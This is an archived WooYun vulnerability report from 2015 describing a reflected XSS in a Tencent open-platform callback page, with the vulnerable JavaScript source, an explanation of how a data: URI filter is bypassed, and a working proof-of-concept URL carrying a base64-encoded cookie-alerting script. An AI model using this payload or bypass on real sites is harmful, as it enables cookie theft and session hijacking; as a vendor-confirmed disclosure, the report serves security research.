当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0166317

漏洞标题:腾讯某接口示例XSS跨站可打cookies

相关厂商:腾讯

漏洞作者: thx

提交时间:2015-12-31 09:55

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:XSS 跨站脚本攻击

危害等级:低

自评Rank:1

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-31: 细节已通知厂商并且等待厂商处理中
2015-12-31: 厂商已经确认,细节仅向厂商公开
2016-01-10: 细节向核心白帽子及相关领域专家公开
2016-01-20: 细节向普通白帽子公开
2016-01-30: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

详细说明:

firefox测试最终效果,提示授权失败,然后等待3秒跳转,弹出cookie:
http://open.t.qq.com/open-js/doc/snippet/code/callback.html?return_to=data:text/html;base64,MTExMTExMTE8c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4=&appkey=x#1
框架调用:http://qz6666.com/2.html

QQ图片20151231003320.jpg


漏洞页面源码:

<script src="//mat1.gtimg.com/app/openjs/openjs.js#autoboot=no&amp;debug=yes"></script>
<script>
(function () {
var hashpos = location.href.lastIndexOf('#'),
search = location.search || '',

returnto = search.match(/return_to=([^&^#]+)/),
appkey = search.match(/appkey=([^&^#]+)/);

function jumpto(uri,timeout) { // 网址跳转
setTimeout(function () {
location.href = uri;
}, timeout * 1000);
}
if (!returnto) {
document.write('缺少return_to参数');
return;
} else if (!appkey) {
document.write('缺少appkey参数');
return;
} else if (hashpos == -1) {
document.write('获取授权信息失败');
return;
}
if (hashpos != -1) {

try {
QQWB.bigtable.set("base","appkey",appkey[1]); // 设置appkey,未公开方法
QQWB.auth.logout(); // 先清除之前的授权信息

QQWB._token.resolveResponse(location.href.slice(hashpos+1),false); // 解析并保存授权结果

} catch (resolveResultException) {

document.write('解析授权信息失败,' + resolveResultException); // 解析失败
return;
}

if (QQWB.loginStatus()) {

document.write('授权成功,页面跳转中,<a target="_self" href="' + returnto[1] +'">立即跳转</a>' );
jumpto(returnto[1],3);
} else {
document.write('授权失败,页面跳转中,<a target="_self" href="' + returnto[1] +'">立即跳转</a>' );
jumpto(returnto[1],3);

}

}
}());
</script>


由上不难看出,会先判断returnto,appkey,hashpos这3个参数,前两个不为空,后一个不为-1,简单构造即可满足条件。至于解析授权信息这里,开始测试的时候随便填值就过了,重点是openjs.js没看懂。。。
url的参数过滤,对data:;base64,这种形式也只判断了固定的字符串,base64字符串开头随便加些字符并不影响结果,这里转换一下即可:

11111111<script>alert(document.cookie)</script>
MTExMTExMTE8c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4=
http://open.t.qq.com/open-js/doc/snippet/code/callback.html?return_to=data:text/html;base64,MTExMTExMTE8c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4=&appkey=x#1


漏洞证明:

firefox测试最终效果,提示授权失败,然后等待3秒跳转,弹出cookie:
http://open.t.qq.com/open-js/doc/snippet/code/callback.html?return_to=data:text/html;base64,MTExMTExMTE8c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4=&appkey=x#1
框架调用:http://qz6666.com/2.html

QQ图片20151231003320.jpg

修复方案:

版权声明:转载请注明来源 thx@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-12-31 15:36

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无